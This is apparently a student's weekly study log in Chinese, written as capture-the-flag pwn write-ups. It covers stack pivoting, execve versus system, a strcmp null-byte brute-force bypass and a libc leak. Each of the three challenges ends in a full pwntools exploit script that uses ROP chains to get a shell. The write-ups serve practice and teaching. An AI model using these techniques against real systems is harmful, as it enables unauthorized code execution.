本周学习总结
所有人都看过来,看我看我,我宣布的事,我是个———————–。
栈迁移迁移迁移迁移迁移迁移迁移迁移迁移迁移迁移迁移迁移迁移迁移迁移迁移。
全局常量声明:新手上路,文章内容仅是由教程观点和自己总结获得,仅供参考。
一、虽然我承认阁下的system很强,但是如果我拿出execve,阁下又该如何应对
你是否有过system死都打不通的情况,每次都为这玩意苦恼,明明都最后一步了,愣是打不通是吧。但是现在有了新的福音。不是system用不起,而是execve更有性价比。
execve一共有三个参数,如果我们只是想获取/bin/sh,那么只需要将第一个参数设置为”/bin/sh”的地址,其他两个参数全部设置为0足以。
可能平常这玩意没什么用,但是如果system死都打不通的话,不如再试试execve吧。
缺点:要求苛刻,需要设置三个寄存器,程序中可能没有需要的寄存器!
参考:https://www.cnblogs.com/xyqer/articles/16757374.html
二、Easy–baby_stack–热身题
需要前置技能:简单栈迁移。
下载得到文件baby_stack
Check

64位,开启NX。
ida,启动!

发现主要逻辑函数vuln。
第一次输入向bss段写入0x100字节

第二次输入仅仅溢出0x10,需要使用栈迁移。

发现后门函数但是没有”/bin/sh”。

发现”/bin/sh”。
通过第一次输入向bss段写入ROP链以获得system,第二次输入将基地址迁移到bss段,使用leave ret;特性执行ROP链。
编写脚本如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| from pwn import *
p = remote("docker.nh0pe.top", 33568)
pop_rdi = 0x4012e3 sys_addr = 0x4011A5 bin_addr = 0x404048 bss_addr = 0x404CA0 leave_ret = 0x401248
payload = b'A' * 8 + p64(pop_rdi) + p64(bin_addr) + p64(sys_addr)
p.send(payload)
payload = b'A' * 0x10 + p64(bss_addr) + p64(leave_ret)
p.send(payload)
p.interactive()
|

flag到手。
三、Easy–password–年轻人的第一次爆破
需要前置技能:python函数定义
下载得到文件password
check一下

64位程序,开启NX。
ida,启动!


发现主要逻辑。
程序的意思是通过读取linux自带的真随机生成器获取一个64字节的密码,第一次输入存在溢出,使得我们可以跳转到system地址,但是前提是我们要在第二次输入时猜对这个64字节的密码。
strcmp是C语言的比较函数,如果两个字符串相同返回0,但是字符串是以’\0’结尾的,有没有一种可能由密码的第一个字节就被随机成”\0”。而我们输入时也只输入”\0”,strcmp一比较,断然相等,密码验证就被绕开了。
我们可以采用爆破,也就是反复启动程序来随机密码的第一个字节,理论是成功的概率是1/256(char的范围)。

发现system(“/bin/sh”)。(终于见到了一个完整的)
构造脚本如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| from pwn import *
sys_addr = 0x4012F3
def exp(): p = process("./password")
payload = b'A' * 40 + p64(sys_addr)
p.sendafter(b"please enter user name:\n", payload)
p.sendlineafter(b"please enter password:\n", b"\x00")
if b'Wrong password!\n' in p.recvline(): p.close() return
p.interactive()
exit(0)
while 1: exp()
|

获得”/bin/sh”。
四、Medium–babystack–新人杀手
需要前置技能:栈迁移+retlibc3
下载得到文件pwn
Check

ida,启动!


发现主要逻辑。
如果我没有看错的话,输入溢出只有0x10,而且只有一次输入,没有system和”/bin/sh”。
好好好,这么出题是吧。
栈迁移是必要的l目标地址就选在无人区bss段吧。通过反复回到fun函数来完成多次输入。

fun的地址我们选取0x4011E3,主要是为了防止前面两条汇编指令影响栈的位置。
主要思路是通过获得一个合适的bss段地址,先用程序本身的leave ret;将rbp送过去,然后执行fun在bss段输入,汇编中的输入执行和rbp有关,此时rsp的位置不重要。
我们在第二次输入时写入可以暴露真实函数地址的ROP链来获得libc的基地址,同时也为下次栈迁移和调用fun函数做准备。
我们在第三次输入就可以用通过libc基地址获得的”/bin/sh”和execve来得到shell了(system因为未知原因在这个程序中无法使用)
构造脚本如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62
| from pwn import *
p = process("./pwn")
elf = ELF("./pwn")
fun_addr = 0x4011E3 bss_addr = 0x404500 pop_rdi = 0x4012b3 pop_rsi_lib = 0x29419 pop_rdx_lib = 0xfd6bd
bkk_addr = bss_addr - 0x50 bcc_addr = bkk_addr - 0x150 bdd_addr = bcc_addr - 0x50
leave_ret = 0x401227
p.recvuntil(b"me:\n")
payload = b'A' * 0x50 + p64(bss_addr) + p64(fun_addr)
p.send(payload)
p.recvuntil(b"me:\n")
payload = p64(bcc_addr) + p64(pop_rdi) + p64(elf.got["read"]) + p64(elf.plt["puts"]) + p64(fun_addr) + b'A' * 40 + p64(bkk_addr) + p64(leave_ret)
p.send(payload)
p.recvline()
read_real = u64(p.recv(6).ljust(8, b'\x00'))
print("read_real:" + hex(read_real))
libc_base = read_real - 0x0f7a50
print("libc_base:" + hex(libc_base))
bin_addr = libc_base + 0x19604f execve_addr = libc_base + 0xd4060
pop_rsi = libc_base + pop_rsi_lib pop_rdx = libc_base + pop_rdx_lib
p.recvuntil(b"me:\n")
payload = b'A' * 8 + p64(pop_rdi) + p64(bin_addr) + p64(pop_rsi) + p64(0) + p64(pop_rdx) + p64(0) + p64(execve_addr) + b'A' * 16 + p64(bdd_addr) + p64(leave_ret)
p.send(payload)
p.recvuntil(b"so funny\n")
p.interactive()
|

获得系统权限。
下周学习计划
| 应该要做的事情 |
准备迎接考核赛
准备期末考试
学习感受
南无/bin/sh